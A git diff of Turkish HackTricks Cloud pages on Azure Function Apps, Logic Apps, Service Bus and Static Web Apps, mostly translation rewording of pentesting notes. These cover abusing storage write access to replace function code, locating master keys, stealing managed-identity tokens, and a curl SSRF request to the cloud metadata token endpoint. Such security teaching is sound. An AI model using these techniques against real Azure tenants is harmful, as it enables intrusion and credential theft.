* "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" ve rol tanımlarına bakın çünkü burada bir yetki yükseltme olabilir
|
||||
* Geri yüklemelere bakın
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
@@ -359,7 +361,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/ima
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**abonelik planlarına**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**
|
||||
|
||||
|
||||
@@ -4,72 +4,72 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Azure Function Apps**, temel altyapıyı yönetmeden **fonksiyon** adı verilen küçük kod parçalarını çalıştırmanıza olanak tanıyan bir **sunucusuz hesaplama hizmetidir**. HTTP istekleri, zamanlayıcılar veya Blob Storage veya Event Hubs gibi diğer Azure hizmetlerinden gelen olaylar gibi çeşitli tetikleyicilere yanıt olarak kod çalıştırmak için tasarlanmıştır. Function Apps, C#, Python, JavaScript ve Java gibi birden fazla programlama dilini destekleyerek **olay odaklı uygulamalar**, iş akışlarını otomatikleştirme veya hizmetleri entegre etme için çok yönlü hale getirir. Genellikle kodunuz çalıştığında yalnızca kullanılan hesaplama süresi için ödeme yapmanız gerektiğinden maliyet açısından etkilidir.
|
||||
**Azure Function Apps**, temel altyapıyı yönetmeden **fonksiyon** adı verilen küçük kod parçalarını çalıştırmanıza olanak tanıyan bir **sunucusuz hesaplama hizmetidir**. HTTP istekleri, zamanlayıcılar veya Blob Storage veya Event Hubs gibi diğer Azure hizmetlerinden gelen olaylar gibi çeşitli tetikleyicilere yanıt olarak kod çalıştırmak için tasarlanmıştır. Function Apps, C#, Python, JavaScript ve Java dahil olmak üzere birden fazla programlama dilini destekler, bu da onları **olay odaklı uygulamalar**, iş akışlarını otomatikleştirme veya hizmetleri entegre etme için çok yönlü hale getirir. Genellikle kodunuz çalıştığında yalnızca kullanılan hesaplama süresi için ödeme yapmanız gerektiğinden maliyet etkilidir.
|
||||
|
||||
> [!NOTE]
|
||||
> **Fonksiyonlar, App Services'ın bir alt kümesidir**, bu nedenle burada tartışılan birçok özellik, Azure Apps (`webapp` cli'de) olarak oluşturulan uygulamalar tarafından da kullanılacaktır.
|
||||
|
||||
### Farklı Planlar
|
||||
|
||||
- **Flex Tüketim Planı**: Talebe göre fonksiyon örneklerini ekleyip kaldırarak **dinamik, olay odaklı ölçeklendirme** sunar ve kullanım başına ödeme yapmanızı sağlar. **Sanal ağ** ve **önceden sağlanmış örnekler** ile soğuk başlangıçları azaltmayı destekler, bu da konteyner desteği gerektirmeyen **değişken iş yükleri** için uygundur.
|
||||
- **Geleneksel Tüketim Planı**: Fonksiyonlar çalıştığında yalnızca hesaplama kaynakları için **ödeme yaptığınız** varsayılan sunucusuz seçenektir. Gelen olaylara göre otomatik olarak ölçeklenir ve **soğuk başlangıç optimizasyonları** içerir, ancak konteyner dağıtımlarını desteklemez. Otomatik ölçeklendirme gerektiren **kesintili iş yükleri** için idealdir.
|
||||
- **Premium Plan**: **Tutarlı performans** için tasarlanmıştır, soğuk başlangıçları ortadan kaldırmak için **önceden ısıtılmış işçiler** sunar. **Uzun süreli yürütme süreleri, sanal ağ** sunar ve **özel Linux görüntülerini** destekler, bu da yüksek performans ve gelişmiş özellikler gerektiren **misyon kritik uygulamalar** için mükemmeldir.
|
||||
- **Özel Plan**: **Öngörülebilir faturalama** ile özel sanal makinelerde çalışır ve manuel veya otomatik ölçeklendirmeyi destekler. Aynı planda birden fazla uygulama çalıştırmanıza olanak tanır, **hesaplama izolasyonu** sağlar ve **App Service Environments** aracılığıyla **güvenli ağ erişimi** sağlar, bu da tutarlı kaynak tahsisi gerektiren **uzun süreli uygulamalar** için idealdir.
|
||||
- **Konteyner Uygulamaları**: **Konteynerleştirilmiş fonksiyon uygulamalarını** yönetilen bir ortamda, mikro hizmetler ve API'lerle birlikte dağıtmanıza olanak tanır. Özel kütüphaneleri, eski uygulama geçişini ve **GPU işleme** destekler, Kubernetes küme yönetimini ortadan kaldırır. **Olay odaklı, ölçeklenebilir konteynerleştirilmiş uygulamalar** için idealdir.
|
||||
- **Flex Tüketim Planı**: Talebe göre fonksiyon örneklerini ekleyip kaldırarak **dinamik, olay odaklı ölçeklendirme** sunar ve kullanım başına ödeme modeli ile çalışır. **Sanal ağ** ve **önceden sağlanmış örnekler** destekler, bu da soğuk başlangıçları azaltarak **kapsayıcı desteği gerektirmeyen değişken iş yükleri** için uygun hale getirir.
|
||||
- **Geleneksel Tüketim Planı**: Fonksiyonlar çalıştığında yalnızca hesaplama kaynakları için **ödeme yaptığınız** varsayılan sunucusuz seçenektir. Gelen olaylara göre otomatik olarak ölçeklenir ve **soğuk başlangıç optimizasyonları** içerir, ancak kapsayıcı dağıtımlarını desteklemez. Otomatik ölçeklendirme gerektiren **kesintili iş yükleri** için idealdir.
|
||||
- **Premium Plan**: **Tutarlı performans** için tasarlanmıştır, soğuk başlangıçları ortadan kaldırmak için **önceden ısıtılmış işçiler** sunar. **Uzun süreli yürütme süreleri, sanal ağ** sunar ve **özel Linux görüntülerini** destekler, bu da yüksek performans ve gelişmiş özellikler gerektiren **misyon kritik uygulamalar** için mükemmel hale getirir.
|
||||
- **Özel Plan**: **Öngörülebilir faturalama** ile özel sanal makinelerde çalışır ve manuel veya otomatik ölçeklendirmeyi destekler. Aynı planda birden fazla uygulama çalıştırmaya olanak tanır, **hesaplama izolasyonu** sağlar ve **App Service Environments** aracılığıyla **güvenli ağ erişimi** sağlar, bu da tutarlı kaynak tahsisi gerektiren **uzun süreli uygulamalar** için idealdir.
|
||||
- **Kapsayıcı Uygulamaları**: **Kapsayıcılaştırılmış fonksiyon uygulamalarını** yönetilen bir ortamda, mikro hizmetler ve API'lerle birlikte dağıtmayı sağlar. Özel kütüphaneleri, eski uygulama geçişini ve **GPU işleme** destekler, Kubernetes küme yönetimini ortadan kaldırır. **Olay odaklı, ölçeklenebilir kapsayıcı uygulamalar** için idealdir.
|
||||
|
||||
### **Depolama Kovalari**
|
||||
|
||||
Yeni bir konteynerleştirilmemiş Function App oluşturduğunuzda (ancak çalıştırılacak kodu veriyorsanız), **kod ve diğer Fonksiyon ile ilgili veriler bir Depolama hesabında saklanacaktır**. Varsayılan olarak, web konsolu her fonksiyon için kodu saklamak üzere yeni bir tane oluşturacaktır.
|
||||
Yeni bir kapsayıcı olmayan Function App oluşturduğunuzda (ancak çalıştırılacak kodu veriyorsanız), **kod ve diğer Fonksiyon ile ilgili veriler bir Depolama hesabında saklanacaktır**. Varsayılan olarak, web konsolu her fonksiyon için kodu saklamak üzere yeni bir tane oluşturur.
|
||||
|
||||
Ayrıca, kova içindeki kodu (farklı formatlarda saklanabileceği) değiştirdiğinizde, **uygulamanın kodu yeni olanla değiştirilecek ve bir sonraki fonksiyon çağrıldığında çalıştırılacaktır**.
|
||||
Ayrıca, kova içindeki kodu (saklanabileceği farklı formatlarda) değiştirdiğinizde, **uygulamanın kodu yeni olanla değiştirilir ve bir sonraki fonksiyon çağrıldığında çalıştırılır**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu, bir saldırganın **bu kovaya yazma erişimi** olması durumunda **kodun tehlikeye atılmasına ve Fonksiyon App içindeki yönetilen kimliklere yetki yükseltmesine** olanak tanıdığı için saldırganlar açısından çok ilginçtir.
|
||||
>
|
||||
> Bununla ilgili daha fazla bilgi **yetki yükseltme bölümünde**.
|
||||
|
||||
Ayrıca, **`azure-webjobs-secrets`** konteynerinde depolama hesabında saklanan **master ve fonksiyon anahtarlarını** bulmak da mümkündür; bu anahtarlar **`<app-name>`** klasöründeki JSON dosyalarında bulunabilir.
|
||||
Ayrıca, **`azure-webjobs-secrets`** kapsayıcısında depolama hesabında saklanan **master ve fonksiyon anahtarlarını** bulmak da mümkündür, bu da **`<app-name>`** klasöründe bulunan JSON dosyalarında yer alır.
|
||||
|
||||
Fonksiyonlar ayrıca kodu uzaktan bir konumda saklamanıza da olanak tanır; sadece URL'yi belirtmeniz yeterlidir.
|
||||
Fonksiyonların ayrıca kodu uzaktan bir konumda saklamaya da izin verdiğini unutmayın, sadece URL'yi belirtmeniz yeterlidir.
|
||||
|
||||
### Ağ
|
||||
|
||||
HTTP tetikleyicisi kullanarak:
|
||||
|
||||
- **Tüm İnternet'ten bir fonksiyona erişim** vermek mümkündür; bu, herhangi bir kimlik doğrulama gerektirmeden veya IAM tabanlı erişim vermeden yapılabilir. Ancak bu erişimi kısıtlamak da mümkündür.
|
||||
- **Bir İç Ağdan (VPC)** bir Function App'a **erişim vermek veya kısıtlamak** da mümkündür.
|
||||
- **Tüm İnternet'ten bir fonksiyona erişim** vermek mümkündür, herhangi bir kimlik doğrulama gerektirmeden veya IAM tabanlı erişim vermek mümkündür. Ancak bu erişimi kısıtlamak da mümkündür.
|
||||
- **Bir iç ağdan (VPC)** bir Function App'a **erişim vermek veya kısıtlamak** da mümkündür.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu, bir saldırganın İnternete açık bir zayıf Fonksiyondan **iç ağlara geçiş yapma** olasılığı olduğu için saldırganlar açısından çok ilginçtir.
|
||||
|
||||
### **Function App Ayarları & Ortam Değişkenleri**
|
||||
|
||||
Bir uygulama içinde ortam değişkenlerini yapılandırmak mümkündür; bu değişkenler hassas bilgiler içerebilir. Ayrıca, varsayılan olarak **`AzureWebJobsStorage`** ve **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (diğerleri arasında) gibi env değişkenleri oluşturulur. Bu değişkenler, **uygulamanın verilerini içeren depolama hesabını kontrol etmek için TAM izinlere sahip hesap anahtarını içerdiği için** özellikle ilginçtir. Bu ayarlar, Depolama Hesabından kodu çalıştırmak için de gereklidir.
|
||||
Bir uygulama içinde ortam değişkenlerini yapılandırmak mümkündür, bu değişkenler hassas bilgiler içerebilir. Ayrıca, varsayılan olarak **`AzureWebJobsStorage`** ve **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (diğerleri arasında) ortam değişkenleri oluşturulur. Bu değişkenler özellikle ilginçtir çünkü **uygulamanın verilerini içeren depolama hesabını kontrol etmek için TAM izinlere sahip hesap anahtarını içerir**. Bu ayarlar, Depolama Hesabından kodu çalıştırmak için de gereklidir.
|
||||
|
||||
Bu env değişkenleri veya yapılandırma parametreleri, Fonksiyonun kodu nasıl çalıştırdığını da kontrol eder; örneğin, **`WEBSITE_RUN_FROM_PACKAGE`** varsa, bu, uygulamanın kodunun bulunduğu URL'yi belirtir.
|
||||
Bu ortam değişkenleri veya yapılandırma parametreleri, Fonksiyonun kodu nasıl çalıştırdığını da kontrol eder; örneğin, **`WEBSITE_RUN_FROM_PACKAGE`** varsa, bu uygulamanın kodunun bulunduğu URL'yi belirtir.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Linux sandbox içinde kaynak kodu **`/home/site/wwwroot`** dizininde **`function_app.py`** dosyasında (Python kullanılıyorsa) bulunur; kodu çalıştıran kullanıcı **`app`**'dir (sudo izinleri olmadan).
|
||||
Linux sandbox içinde kaynak kodu **`/home/site/wwwroot`** dizininde **`function_app.py`** dosyasında (Python kullanılıyorsa) yer alır, kodu çalıştıran kullanıcı **`app`**'dir (sudo izinleri olmadan).
|
||||
|
||||
Bir **Windows** fonksiyonunda NodeJS kullanıldığında kod **`C:\home\site\wwwroot\HttpTrigger1\index.js`** dizininde bulunuyordu; kullanıcı adı **`mawsFnPlaceholder8_f_v4_node_20_x86`** idi ve **grupların** bir parçasıydı: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
Bir **Windows** fonksiyonunda NodeJS kullanıldığında kod **`C:\home\site\wwwroot\HttpTrigger1\index.js`** dizininde yer alıyordu, kullanıcı adı **`mawsFnPlaceholder8_f_v4_node_20_x86`** idi ve **grupların** bir parçasıydı: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
### **Yönetilen Kimlikler & Meta Veriler**
|
||||
|
||||
[**VM'ler**](vms/index.html) gibi, Fonksiyonların **2 tür Yönetilen Kimliği** olabilir: Sistem atanan ve Kullanıcı atanan.
|
||||
|
||||
**Sistem atanan** olan, **yalnızca atanan fonksiyon** tarafından kullanılabilecek bir yönetilen kimliktir; **kullanıcı atanan** yönetilen kimlikler ise **herhangi bir diğer Azure hizmeti tarafından kullanılabilecek** yönetilen kimliklerdir.
|
||||
**Sistem atanan** olan, **yalnızca atanan fonksiyon** tarafından kullanılabilecek bir yönetilen kimliktir, **kullanıcı atanan** yönetilen kimlikler ise **herhangi bir diğer Azure hizmeti tarafından kullanılabilecek** yönetilen kimliklerdir.
|
||||
|
||||
> [!NOTE]
|
||||
> [**VM'ler**](vms/index.html) gibi, Fonksiyonların **1 sistem atanan** yönetilen kimliği ve **birkaç kullanıcı atanan** yönetilen kimliği olabilir, bu nedenle fonksiyonu tehlikeye attığınızda hepsini bulmaya çalışmak her zaman önemlidir; çünkü tek bir Fonksiyondan birden fazla yönetilen kimliğe yetki yükseltebilirsiniz.
|
||||
> [**VM'ler**](vms/index.html) gibi, Fonksiyonların **1 sistem atanan** yönetilen kimliği ve **birkaç kullanıcı atanan** yönetilen kimliği olabilir, bu nedenle fonksiyonu tehlikeye attığınızda hepsini bulmaya çalışmak her zaman önemlidir çünkü yalnızca bir Fonksiyondan birkaç yönetilen kimliğe yetki yükseltebilirsiniz.
|
||||
>
|
||||
> Eğer bir sistem yönetilen kimliği kullanılmıyorsa ancak bir veya daha fazla kullanıcı yönetilen kimliği bir fonksiyona eklenmişse, varsayılan olarak herhangi bir token alamazsınız.
|
||||
|
||||
[**PEASS scriptlerini**](https://github.com/peass-ng/PEASS-ng) kullanarak varsayılan yönetilen kimlikten token alabilirsiniz. Ya da bunları **manuel olarak** alabilirsiniz; bu konuda daha fazla bilgi için:
|
||||
[**PEASS scriptlerini**](https://github.com/peass-ng/PEASS-ng) kullanarak, varsayılan yönetilen kimlikten token almak mümkündür. Ya da bunları **manuel olarak** almak için aşağıdaki gibi açıklanan yöntemleri kullanabilirsiniz:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Bir fonksiyonun bağlı olduğu **tüm Yönetilen Kimlikleri kontrol etmenin** bir yolunu bulmanız gerektiğini unutmayın; çünkü belirtmezseniz, meta veri uç noktası **yalnızca varsayılan olanı** kullanacaktır (daha fazla bilgi için önceki bağlantıya bakın).
|
||||
Bir fonksiyonun bağlı olduğu **tüm Yönetilen Kimlikleri kontrol etmenin** bir yolunu bulmanız gerektiğini unutmayın, çünkü belirtmezseniz, meta veri uç noktası **yalnızca varsayılan olanı** kullanacaktır (daha fazla bilgi için önceki bağlantıya bakın).
|
||||
|
||||
## Erişim Anahtarları
|
||||
|
||||
@@ -78,16 +78,16 @@ Bir fonksiyonun bağlı olduğu **tüm Yönetilen Kimlikleri kontrol etmenin** b
|
||||
|
||||
Bir fonksiyon içinde bir **HTTP tetikleyici** kullanarak bir uç nokta oluşturduğunuzda, fonksiyonu tetiklemek için gereken **erişim anahtarı yetkilendirme seviyesini** belirtmek mümkündür. Üç seçenek mevcuttur:
|
||||
|
||||
- **ANONYMOUS**: **Herkes**, URL aracılığıyla fonksiyona erişebilir.
|
||||
- **ANONYMOUS**: **Herkes** URL aracılığıyla fonksiyona erişebilir.
|
||||
- **FUNCTION**: Uç nokta yalnızca **fonksiyon, ana bilgisayar veya master anahtar** kullanan kullanıcılara açıktır.
|
||||
- **ADMIN**: Uç nokta yalnızca **master anahtar** kullanan kullanıcılara açıktır.
|
||||
|
||||
**Anahtar türleri:**
|
||||
|
||||
- **Fonksiyon Anahtarları:** Fonksiyon anahtarları varsayılan veya kullanıcı tanımlı olabilir ve yalnızca bir Function App içindeki **belirli fonksiyon uç noktalarına** erişim sağlamak için tasarlanmıştır; bu, uç noktalar üzerinde daha ince ayarlı bir erişim sağlar.
|
||||
- **Fonksiyon Anahtarları:** Fonksiyon anahtarları varsayılan veya kullanıcı tanımlı olabilir ve yalnızca bir Function App içindeki **belirli fonksiyon uç noktalarına** erişim sağlamak için tasarlanmıştır, bu da uç noktalar üzerinde daha ince ayarlı bir erişim sağlar.
|
||||
- **Ana Bilgisayar Anahtarları:** Ana bilgisayar anahtarları, varsayılan veya kullanıcı tanımlı olabilir ve **FUNCTION erişim seviyesine sahip bir Function App içindeki tüm fonksiyon uç noktalarına** erişim sağlar.
|
||||
- **Master Anahtar:** Master anahtar (`_master`), tüm fonksiyon uç noktalarına (ADMIN erişim seviyesi dahil) erişim sağlayan yönetim anahtarıdır. Bu **anahtar iptal edilemez.**
|
||||
- **Sistem Anahtarları:** Sistem anahtarları, **belirli uzantılar tarafından yönetilir** ve iç bileşenler tarafından kullanılan webhook uç noktalarına erişim için gereklidir. Örnekler arasında Event Grid tetikleyicisi ve sistem anahtarlarını kullanarak ilgili API'leri güvenli bir şekilde etkileşimde bulunan Dayanıklı Fonksiyonlar bulunur.
|
||||
- **Sistem Anahtarları:** Sistem anahtarları, **belirli uzantılar tarafından yönetilir** ve iç bileşenler tarafından kullanılan webhook uç noktalarına erişim için gereklidir. Örnekler arasında, sistem anahtarlarını kullanarak ilgili API'leri güvenli bir şekilde etkileşimde bulunan Event Grid tetikleyicisi ve Dayanıklı Fonksiyonlar bulunur.
|
||||
|
||||
> [!TIP]
|
||||
> Bir anahtar kullanarak bir fonksiyon API uç noktasına erişim örneği:
|
||||
@@ -96,7 +96,7 @@ Bir fonksiyon içinde bir **HTTP tetikleyici** kullanarak bir uç nokta oluştur
|
||||
|
||||
### Temel Kimlik Doğrulama
|
||||
|
||||
App Services'ta olduğu gibi, Fonksiyonlar da **SCM** ve **FTP** ile bağlanmak için temel kimlik doğrulamayı destekler; bu, Azure tarafından sağlanan bir **kullanıcı adı ve şifreyi URL'de** kullanarak kod dağıtımına olanak tanır. Bununla ilgili daha fazla bilgi için:
|
||||
App Services'ta olduğu gibi, Fonksiyonlar da **SCM** ve **FTP** ile bağlanmak için temel kimlik doğrulamayı destekler ve kodu dağıtmak için Azure tarafından sağlanan **bir URL'deki kullanıcı adı ve şifre** kullanır. Bununla ilgili daha fazla bilgi:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Tabanlı Dağıtımlar
|
||||
|
||||
Bir fonksiyon bir Github reposundan oluşturulduğunda, Azure web konsolu, bu depo güncellendiğinde fonksiyonun kodunun güncellenmesi için **belirli bir depoda otomatik olarak bir Github İş Akışı oluşturmanıza** olanak tanır. Aslında, bir Python fonksiyonu için Github Action yaml'ı şöyle görünür:
|
||||
Bir fonksiyon bir Github deposundan oluşturulduğunda, Azure web konsolu, bu depo güncellendiğinde fonksiyonun kodunun güncellenmesi için **belirli bir depoda otomatik olarak bir Github İş Akışı oluşturmayı** sağlar. Aslında, bir Python fonksiyonu için Github Action yaml'ı şöyle görünür:
|
||||
|
||||
<details>
|
||||
|
||||
|
||||
@@ -23,9 +23,9 @@ veya "**Logic app kod görünümü**" bölümünde kodu kontrol edebilirsiniz.
|
||||
|
||||
### SSRF Koruması
|
||||
|
||||
**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, Logic Apps bunu izin vermediği için metadata'dan kimlik bilgilerine erişemezsiniz.
|
||||
**Logic App'in SSRF'ye karşı savunmasız olduğunu bulsanız bile**, metadata'dan kimlik bilgilerine erişemezsiniz çünkü Logic Apps bunu izin vermez.
|
||||
|
||||
Örneğin, bu gibi bir şey token'ı döndürmeyecektir:
|
||||
Örneğin, şöyle bir şey token'ı döndürmeyecektir:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
@@ -148,7 +148,7 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
|
||||
* Şemalar: Entegrasyon hesabınızdaki mesajları doğrulamak ve işlemek için XML şemalarını yönetin.
|
||||
* Haritalar: Entegrasyon iş akışlarınızda veri formatlarını dönüştürmek için XSLT tabanlı dönüşümleri yapılandırın.
|
||||
* Derlemeler: Mantığı ve veri işleme süreçlerini kolaylaştırmak için entegrasyon hesabı derlemelerini yönetin.
|
||||
* Derlemeler: Mantık ve veri işleme süreçlerini kolaylaştırmak için entegrasyon hesabı derlemelerini yönetin.
|
||||
* Sertifikalar: Mesajları şifrelemek ve imzalamak için sertifikaları yönetin, güvenli iletişimi sağlamak için.
|
||||
* Ortaklar: B2B işlemleri için ticari ortak bilgilerini yönetin, kesintisiz entegrasyonları mümkün kılın.
|
||||
* Anlaşmalar: Ticari ortaklarla veri alışverişi için kuralları ve ayarları yapılandırın (örneğin, EDI, AS2).
|
||||
|
||||
@@ -4,23 +4,23 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus, uygulamanın farklı parçaları veya ayrı uygulamalar arasında güvenilir **iletişim** sağlamak için tasarlanmış bulut tabanlı bir **mesajlaşma hizmetidir**. Mesajların güvenli bir şekilde iletilmesini sağlamak için güvenli bir aracı olarak hareket eder; bu, gönderici ve alıcının aynı anda çalışmadığı durumlarda bile geçerlidir. Sistemleri birbirinden ayırarak, uygulamaların bağımsız bir şekilde çalışmasına olanak tanırken veri veya talimat alışverişi yapmalarını sağlar. Özellikle birden fazla işçi arasında yük dengelemesi, güvenilir mesaj iletimi veya görevlerin sırayla işlenmesi veya erişimin güvenli bir şekilde yönetilmesi gibi karmaşık koordinasyon gerektiren senaryolar için faydalıdır.
|
||||
Azure Service Bus, uygulamanın farklı parçaları veya ayrı uygulamalar arasında güvenilir **iletişim** sağlamak için tasarlanmış bulut tabanlı bir **mesajlaşma hizmetidir**. Mesajların güvenli bir şekilde iletilmesini sağlamak için güvenli bir aracı olarak hareket eder; bu, gönderici ve alıcının aynı anda çalışmadığı durumlarda bile geçerlidir. Sistemleri birbirinden ayırarak, uygulamaların bağımsız bir şekilde çalışmasına olanak tanırken veri veya talimat alışverişi yapmalarını sağlar. Özellikle birden fazla işçi arasında yük dengelemesi gerektiren senaryolar, güvenilir mesaj iletimi veya görevlerin sırayla işlenmesi ya da erişimin güvenli bir şekilde yönetilmesi gibi karmaşık koordinasyon gerektiren durumlar için faydalıdır.
|
||||
|
||||
### Anahtar Kavramlar
|
||||
### Ana Kavramlar
|
||||
|
||||
1. **Kuyruklar:** Amacı, alıcı hazır olana kadar mesajları depolamaktır.
|
||||
- Mesajlar sıralı, zaman damgalı ve kalıcı olarak saklanır.
|
||||
- Mesajlar sıralı, zaman damgalı ve kalıcı olarak depolanır.
|
||||
- İhtiyaç duyulduğunda (isteğe bağlı alım) teslim edilir.
|
||||
- Noktadan noktaya iletişimi destekler.
|
||||
2. **Konu Başlıkları:** Yayınlama-abone olma mesajlaşması için yayın yapar.
|
||||
2. **Konu Başlıkları:** Yayınlama-abone mesajlaşması için yayın yapar.
|
||||
- Birden fazla bağımsız abonelik, mesajların kopyalarını alır.
|
||||
- Abonelikler, teslimatı kontrol etmek veya meta veriler eklemek için kurallar/filtreler içerebilir.
|
||||
- Çoktan çoğa iletişimi destekler.
|
||||
3. **Ad Alanları:** Tüm mesajlaşma bileşenleri, kuyruklar ve konu başlıkları için bir konteynerdır; güçlü bir Azure kümesinin kendi diliminiz gibi, özel kapasite sağlar ve isteğe bağlı olarak üç kullanılabilirlik bölgesine yayılabilir.
|
||||
3. **Ad Alanları:** Tüm mesajlaşma bileşenleri, kuyruklar ve konu başlıkları için bir konteynerdir; güçlü bir Azure kümesinin kendi diliminiz gibi, özel kapasite sağlar ve isteğe bağlı olarak üç kullanılabilirlik bölgesine yayılabilir.
|
||||
|
||||
### İleri Düzey Özellikler
|
||||
### Gelişmiş Özellikler
|
||||
|
||||
Bazı ileri düzey özellikler şunlardır:
|
||||
Bazı gelişmiş özellikler şunlardır:
|
||||
|
||||
- **Mesaj Oturumları**: FIFO işleme sağlar ve istek-cevap desenlerini destekler.
|
||||
- **Otomatik İletim**: Aynı ad alanındaki kuyruklar veya konu başlıkları arasında mesajları aktarır.
|
||||
|
||||
@@ -12,8 +12,8 @@ Azure Statik Web Uygulamaları, **GitHub gibi depolardan otomatik CI/CD ile stat
|
||||
> Statik Uygulama oluşturulduğunda, **Dağıtım yetkilendirme politikası** olarak **Dağıtım token'ı** ve **GitHub Actions iş akışı** arasında seçim yapabilirsiniz.
|
||||
|
||||
- **Dağıtım token'ı**: Bir token oluşturulur ve dağıtım sürecini kimlik doğrulamak için kullanılır. **Bu token'a sahip olan herkes yeni bir uygulama sürümünü dağıtmak için yeterlidir**. Her seferinde depo güncellendiğinde uygulamanın yeni bir sürümünü dağıtmak için token'ın gizli olduğu bir **Github Action otomatik olarak depoya dağıtılır**.
|
||||
- **GitHub Actions iş akışı**: Bu durumda, depoda çok benzer bir Github Action da dağıtılır ve **token da gizli bir şekilde saklanır**. Ancak, bu Github Action'ın bir farkı vardır; **`actions/github-script@v6`** eylemini kullanarak depo IDToken'ını alır ve uygulamayı dağıtmak için kullanır.
|
||||
- Her iki durumda da **`Azure/static-web-apps-deploy@v1`** eylemi `azure_static_web_apps_api_token` parametresinde bir token ile kullanılsa da, bu ikinci durumda `github_id_token` parametresinde yetkilendirme IDToken ile yapıldığından, `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` gibi geçerli bir formatta rastgele bir token uygulamayı dağıtmak için yeterlidir.
|
||||
- **GitHub Actions iş akışı**: Bu durumda, depoda çok benzer bir Github Action da dağıtılır ve **token da bir gizli olarak saklanır**. Ancak, bu Github Action'ın bir farkı vardır; **`actions/github-script@v6`** eylemini kullanarak depo IDToken'ını alır ve uygulamayı dağıtmak için kullanır.
|
||||
- Her iki durumda da **`Azure/static-web-apps-deploy@v1`** eylemi `azure_static_web_apps_api_token` parametresinde bir token ile kullanılsa da, bu ikinci durumda `github_id_token` parametresinde IDToken ile yetkilendirme yapıldığı için `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` gibi geçerli bir formatta rastgele bir token uygulamayı dağıtmak için yeterlidir.
|
||||
|
||||
### Web Uygulaması Temel Kimlik Doğrulaması
|
||||
|
||||
@@ -34,7 +34,7 @@ Ancak, bu **şifreyi düz metin olarak göstermez**, sadece şöyle bir şey gö
|
||||
|
||||
Rotalar, bir statik web uygulaması içinde **gelen HTTP isteklerinin nasıl işleneceğini** tanımlar. **`staticwebapp.config.json`** dosyasında yapılandırılan bu rotalar, URL yeniden yazma, yönlendirmeler, erişim kısıtlamaları ve rol tabanlı yetkilendirme gibi işlemleri kontrol ederek, kaynakların doğru bir şekilde işlenmesini ve güvenliğini sağlar.
|
||||
|
||||
Bazı örnek:
|
||||
Bazı örnekler:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
@@ -168,7 +168,7 @@ Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
Aşağıdaki bağlantıda bir web uygulaması oluşturmak için güzel bir örnek bulabilirsiniz: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. https://github.com/staticwebdev/react-basic/generate deposunu GitHub hesabınıza fork edin ve adını `my-first-static-web-app` olarak belirleyin.
|
||||
1. Depoyu https://github.com/staticwebdev/react-basic/generate GitHub hesabınıza fork edin ve adını `my-first-static-web-app` olarak belirleyin.
|
||||
